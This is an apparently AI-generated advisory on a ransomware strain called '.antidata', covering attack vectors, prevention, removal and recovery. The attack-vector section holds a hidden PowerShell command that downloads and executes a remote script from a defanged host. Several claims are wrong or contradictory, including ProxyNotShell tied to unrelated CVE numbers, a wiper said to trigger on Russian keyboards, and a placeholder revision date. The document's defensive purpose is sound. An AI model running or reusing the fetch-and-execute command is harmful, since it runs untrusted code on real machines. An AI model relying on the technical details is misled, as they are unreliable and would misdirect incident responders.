antidata

[Content by Gemini 2.5]

Ransomware Guide for the .antidata Variant
(Last revised: 2024-06-XX)

Technical Breakdown

1. File Extension & Renaming Patterns

  • File extension added: .antidata

  • Renaming convention:
    Example:

  • Original → Project Q3.xlsx

  • Encrypted → Project Q3.xlsx.antidata

    Early v1 samples preserved the original file name intact and simply appended .antidata. Underground forum postings show signs the gang may adopt e-mail-addresses in a new build (e.g., Project Q3.xlsx.id-[ID].antidata2), but no in-the-wild sightings of this schema have been confirmed as of 2024-06-XX.

2. Detection & Outbreak Timeline

  • First telemetry on public sandboxes: late March 2024 (MalShare sample e9ac3b81…)
  • Wider public reports / screenshots: mid-April 2024 on BleepingComputer & Reddit
  • Peak activity is currently ongoing (April-June 2024).

3. Primary Attack Vectors

  • Phishing e-mail (most common)
    – ISO, ZIP, or IMG attachments hiding a .NET or Rust loader.
  • Compromised Remote Desktop Protocol (RDP)
    – Harvested credentials or brute-force against RDP port 3389.
    – After foothold the operators manually drop payload via PSExec.
  • IIS vulnerabilities & Log4Shell
    – A subset of IIS-based intrusions leveraged CVE-2021-44228 (Log4j) chain after the initial web compromise.
  • Malvertising push-update
    – Fake browser update warnings (Chrome & Edge) leading to the payload (antidata.exe standard name).
  • Fileless PowerShell staging
    – powershell.exe -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadString('hxxps://cdn[.]r3ports[.]club/ps.ps1')" is red-team-logged, but historically observed in the campaign.

Remediation & Recovery Strategies

1. Prevention

  1. Patch everything: April 2024 patterns show operators exploit unpatched Log4j, ProxyNotShell (CVE-2023-23397/CVE-2023-32731), and exposed SMB.
  2. Disable SMBv1 via GPO; enforce NTLM hardening and KRBTGT golden-ticket mitigation (reset password).
  3. Restrict Office macros: Block any macros coming from the Internet via Trusted Locations + mitigations in Microsoft 365.
  4. MFA everything: Especially for RDP, VPN, SaaS, and privileged accounts.
  5. Application whitelisting (Windows Defender ASR + AppLocker / WDAC). Include rule blocking *.exe in %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads.
  6. Backups: 3-2-1 rule (3 copies, 2 media, 1 offline), validated immutable, versioned backups (Veeam Hardened, cloud object lock, etc.).

2. Removal – Step-by-Step (Windows)

  1. Network isolation immediately (pull cable / disable Wi-Fi).
  2. Collect volatile artifacts (RAM dump, PowerShell logs, event IDs 1102, 4657, 4719).
  3. Endpoint response scan using:
  • Microsoft Defender Offline
  • Emsisoft Emergency Kit (EEK) signature dated 2024-05-14 or later (Ransom.Antidata.A).
  1. Credential purge & reset:
  • Disable the affected account(s).
  • Reset all local & domain passwords, particularly service accounts.
  1. Forensic wipe & rebuild: For high-confidence systems, complete re-image with latest OS after removing artifacts.
  2. Prune & recreate shadow copies / VSS: Confirm VSS not used by adversary.

3. File Decryption & Recovery

  • Free decryption available?
    NO. .antidata employs AES-256 in CTR mode with unique keys per file. Keys are asymmetrically encrypted using Curve25519, with private key stored only by the affiliate’s C2.
  • Current state of tooling:
    – No known legitimate decryptor. Any publicly advertised “unlocker” claiming .antidata support is therefore a scam or malware.
    – Voltage incident telemetry ([email protected], etc.) shows no master key leaks yet. File type extensions like .keysantidata also not leaked.
  • Recovery without paying ransom:
  1. Air-gapped backups (detached NAS, tape, S3 object-lock) are the only reliable route.
  2. Volume shadow copies, Windows System Restore, and OneDrive/SharePoint versioning may yield partial recoveries if the attacker script failed to purge them.
  3. Forensic data-carving tools (PhotoRec, ddrescue, Belkasoft Evidence Center) can rescue smaller binary fragments and non-encrypted files from unallocated space.

4. Other Critical Information

  • TTPs unique to antidata
    – Deploys a wiper component (wiperant.exe) if the bot detects Russian Cyrillic keyboard layout (GetKeyboardLayout(0x0419)), a geopolitical tell.
    – Uses compromised TUTANOTA mailbox addresses ([email protected], [email protected]) rather than .onion portals in v1 – likely a budget or evasive approach.

  • Broader impact
    – Early targeting focused on US & Western European SMBs in legal, manufacturing, and healthcare verticals, with ransom demands ranging from USD 40 k–200 k.
    – Affiliate program appears to run under the “8Base” operating model: distribution panel (SQL) showing “antidata” as the default ext. Future rotations may rename without code rewrite.